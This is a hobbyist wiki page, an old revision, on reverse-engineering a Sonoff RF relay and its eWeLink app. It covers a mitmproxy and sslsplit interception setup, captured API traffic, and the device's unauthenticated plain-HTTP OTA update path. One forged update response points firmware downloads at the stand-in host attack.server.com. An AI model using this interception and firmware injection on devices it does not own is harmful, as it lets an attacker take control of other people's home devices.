This is an old revision of the document!
Table of Contents
How to hack free your Sonoff RF without soldering
Introduction
Some while ago I bought one of these shiny IoT devices called „Sonoff“, a smart relay for home automation. Basically I just wanted to proof that homie-8266 runs on it. As this projects worked out so well (I even attached a DHT-22 temperature/humidity sensor to it) I ordered more of these small ESP8266-powered devices. This time a Sonoff RF, so I could control another lamp even with a RF remote.
Unfortunately, ITEAD Studio made some changes to their PCB Layout so GPIO0 will no longer be pulled low, when the button was pressed on boot, which was already well-documented by Peter Scargill.
So I decided to find a way to flash an alternate firmware to this device without soldering some cables to it, like Toon Peters describes in his blog.
tl;dr
You could either configure a device with your own dispatch/websocket server and use the factory firmware. Or you could flash your own firmware using the OTA update mechanism. Currently both approaches are still theoretic.
Setup
First I needed an isolated network for my analysis, so I started with setting up a Raspberry PI as Access Point by following along this guide by Phil Martin. Next steps included installing mitmproxy (great post by Philipp C. Heckel), sslsplit (another great post by Philipp C. Heckel) and tcpdump. In the next step I used an iOS-Device connected to my new AP to download & install the companion-app called eWelink by Coolkit and register an account. Elsie Zhou walks through the setup process.
This is how the final setup looks like:
iptables
- mitmproxy.sh
#!/bin/bash # start a transparent proxy sudo sysctl -w net.ipv4.ip_forward=1 # clean old firewall sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X # nat on the local lan sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT # forward all requests to the proxy sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp -d 52.29.48.55 --dport 8080 -j REDIRECT --to-port 88 sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp -m multiport --dports 80,443,8080,8081 -j REDIRECT --to-port 8079 mkdir -p /tmp/sslsplit/
mitmproxy / mitmdump
mitmproxy -T -p 8079 --host --ignore 52.29.48.55:8081
Automagically change response
mitmdump -T -p 8079 -s "modify_response_body.py" --ignore 52.29.48.55:8081 "~u http://52.28.103.75/api/app"
- modify_response_body.py
import json def response(context, flow): if flow.request.url == "http://52.28.103.75/api/app": with open("response.json","r") as jsonFile: flow.response.content = json.dumps(json.load(jsonFile))
sslsplit
„SSLsplit is a tool for man-in-the-middle attacks against SSL/TLS encrypted network connections. Connections are transparently intercepted through a network address translation engine and redirected to SSLsplit. SSLsplit terminates SSL/TLS and initiates a new SSL/TLS connection to the original destination address, while logging all data transmitted. SSLsplit is intended to be useful for network forensics and penetration testing.“
./sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 88
Wireshark
On my computer I used Wireshark to get the full tcpdump from remote:
mkfifo /tmp/packet_capture ssh root@raspi3 "tcpdump -s 0 -U -n -i wlan0 -w -" > /tmp/packet_capture
Exploring the iOS-App
My journey started with unpacking the iOS-App and exploring everything within
~/Music/iTunes/iTunes\ Media/Mobile\ Applications/EWeLink\ 2.1.19/Payload/易微联.app/www
The app is obviously developed with Apache Cordova. Especially the defined constants in the file ./js/index.js caught my attention…
Googling a bit lead me to the corresponding:
Known Hosts / Ports
Note: Not all hosts were found defined in the app. Some where discovered by sniffing the network traffic and will differ depending on your location.
Description | DNS Name | IP Address | Protocol/Ports |
---|---|---|---|
apiHost | api.coolkit.cc, eu-api.coolkit.cc | 52.29.61.50 | 8080 |
httpServer | api.coolkit.cc | 52.29.61.50 | HTTPS via 8080 |
dispatchHost | disp.coolkit.cc | n/a | 8080 |
websocketHost | long.coolkit.cc | n/a | 8080 |
deviceDispatHost | disp.coolkit.cc | n/a | 443 |
otaHost | ota.coolkit.cc | n/a | 8080 |
EU OTA Host | eu-ota.coolkit.cc | 52.28.103.75 | 80, 8088 |
Dispatch Host | eu-disp.coolkit.cc | 52.29.61.50 | 8081 |
deviceDispatHost | n/a (iotgo.iteadstudio.com) | 52.29.48.55 | 443 |
libimobiledevice
When tinkering with iDevices, it is always worth to have a look at what your app sends to the logs. This is where libimobiledevice comes in handy. libimobiledevice is a cross-platform software protocol library and tools to communicate with iOS® devices natively.
Is used it with the following command:
idevicesyslog | grep "易微联"
Note: This Cordova application is very chatty and prints all* incoming and outgoing request (even HTTPS/WSS) and its payload in clear-text.
* This was almost fixed in version 2.20
Controlling a device
Pairing
AP-Mode
To get the device into AP-Mode, reconnect the power-source until the LED starts flashing. Press the button for 5 seconds.
A WiFi named ITEAD-10000xxxxx appears. You can connect to it with password: 12345678.
Query device
curl http://10.10.7.1/device
- response
{ "deviceid":"10000xxxxx", "apikey":"9a4251ce-e828-4f3a-8180-XXXXXXXXXXXX", "accept":"post" }
Post device config
Note: serverName describes the dispatch server, where the device registers itself once it is online. The dispatch server answers with the necessary server details for the websocket connection. This could be used to completely free a device from their cloud infrastructure. More details will follow soon™.
curl -X POST --data '$data' http://10.10.7.1/ap
- data
{ "version": 4, "ssid": "Pi3-AP", "password": "XXXXXXXXXXXX", "serverName": "eu-disp.coolkit.cc", "port": 443 }
- response
{ "error": 0 }
ESPTouch
There is also a way to re-pairing the device, when it is already connected to a WiFi-network. This option has not been analysed yet. Read more about ESPTouch here: https://espressif.com/en/products/software/esp-touch/overview.
OTA Updates
Once you registered a device in your eWeLink-Account the app looks for updated firmware on every start. You will see a request going out like this:
POST http://eu-ota.coolkit.cc/api/app
- original-request-body
{ "deviceInfoList": [ { "deviceid": "10000xxxxx", "model": "ITA-GZ1-GL", "version": "1.5.0" }, { "deviceid": "10000xxxxx", "model": "PSA-BHA-GL", "version": "2.0.1" } ], "method": "cn.itead.ota.queryInfo" }
The server will respond with something like this, when all devices are up-to-date:
- original-response-body
{ "rtnCode": 0, "upgradeInfoList": [ { "bizRtnCode": 10002, "deviceid": "10000xxxxx" }, { "bizRtnCode": 10002, "deviceid": "10000xxxxx" } ] }
If you tinker around or have a device with older firmware, the request will look like this:
POST http://eu-ota.coolkit.cc/api/app
- modified-request-body
{ "deviceInfoList": [ { "deviceid": "10000xxxxx", "model": "ITA-GZ1-GL", "version": "1.4.0" }, { "deviceid": "10000xxxxx", "model": "PSA-BHA-GL", "version": "2.0.1" } ], "method": "cn.itead.ota.queryInfo" }
- update-response-body
{ "rtnCode": 0, "upgradeInfoList": [ { "bizRtnCode": 10001, "deviceid": "10000xxxxx", "model": "ITA-GZ1-GL", "version": "1.5.0", "binList": [ { "downloadUrl": "http://52.28.103.75:8088/ota/rom/…/user1.1024.new.2.bin", "digest": "2e1f86922c66f606b5e141121eaa112dea8834ce8717aba29a011316daa0b1d7", "name": "user1.bin" }, { "downloadUrl": "http://52.28.103.75:8088/ota/rom/…/user2.1024.new.2.bin", "digest": "8c0c484fe66a0c32447628cde3ac5a97dbbb0a72ff0123ea08ff48c9972faf7f", "name": "user2.bin" } ] }, { "bizRtnCode": 10002, "deviceid": "10000xxxxx" } ] }
If you open the device settings now, you will be able to notify the device about the updates. Remember: Also this request requires user authorization, it is still an unsecure http-connection that could be easily forged with only dns entry.
A message from the mobile app to the cloud server and from there to the online device is sent via Websocket:
- websocket-message-upgrade
{ "action": "upgrade", "deviceid": "10000xxxxx", "apikey": "22c617d1-1ea7-46ce-8660-XXXXXXXXXXXX", "userAgent": "app", "sequence": "1472656199757", "params": { "binList": [ { "downloadUrl": "http://52.28.103.75:8088/ota/rom/…/user1.1024.new.2.bin", "name": "user1.bin", "digest": "b8bf53c21852fa9344a634dc7ce5eba798780720eb4a9a86415698535252f0a5" }, { "downloadUrl": "http://52.28.103.75:8088/ota/rom/…/user2.1024.new.2.bin", "name": "user2.bin", "digest": "6d38ee702dc33f89147b1a4c7350e30a8d1d6fcdff27a3762df7c3136465195f" } ], "model": "ITA-GZ1-GL", "version": "1.5.0" } }
Except from checking the „digest“ of the bin-package no validation will take place before flashing your device. So guess what? You could just provide your own firmware by intercepting a server response like this:
POST http://eu-ota.coolkit.cc/api/app
- original-request-body
{ "deviceInfoList": [ { "deviceid": "10000xxxxx", "model": "ITA-GZ1-GL", "version": "1.5.0" }, { "deviceid": "10000xxxxx", "model": "PSA-BHA-GL", "version": "2.0.1" } ], "method": "cn.itead.ota.queryInfo" }
- intercepted-update-response
{ "rtnCode": 0, "upgradeInfoList": [ { "bizRtnCode": 10001, "deviceid": "10000xxxxx", "model": "ITA-GZ1-GL", "version": "1.5.0", "binList": [ { "downloadUrl": "http://attack.server.com/ota/rom/…/user1.1024.new.2.bin", "digest": "2e1f86922c66f606b5e141121eaa112dea8834ce8717aba29a011316daa0b1d7", "name": "user1.bin" }, { "downloadUrl": "http://attack.server.com/ota/rom/…/user2.1024.new.2.bin", "digest": "8c0c484fe66a0c32447628cde3ac5a97dbbb0a72ff0123ea08ff48c9972faf7f", "name": "user2.bin" } ] }, { "bizRtnCode": 10002, "deviceid": "10000xxxxx" } ] }
To calculate the digest use the following command:
openssl dgst -sha256 /path/to/user1.bin
ESP8266
Sonoff firmware
The original Sonoff firmware is based on Espressifs SDK 1.4 that is for download here: ESP8266_NONOS_SDK_V1.4.0_15_09_18 I mirrored it here: ESP8266_NONOS_SDK_V1.4.0_15_09_18.
esptool.py
If you ever messed around and maybe even bricked your device (like I did), use esptool to flash the firmware again:
esptool.py --port /dev/cu.usbmodem1411 write_flash -fs 8m 0x00000 bin/boot_v1.4\(b1\).bin 0x01000 user1.1024.new.2.bin 0xFB000 bin/blank.bin 0xFC000 bin/esp_init_data_default.bin 0xFE000 bin/blank.bin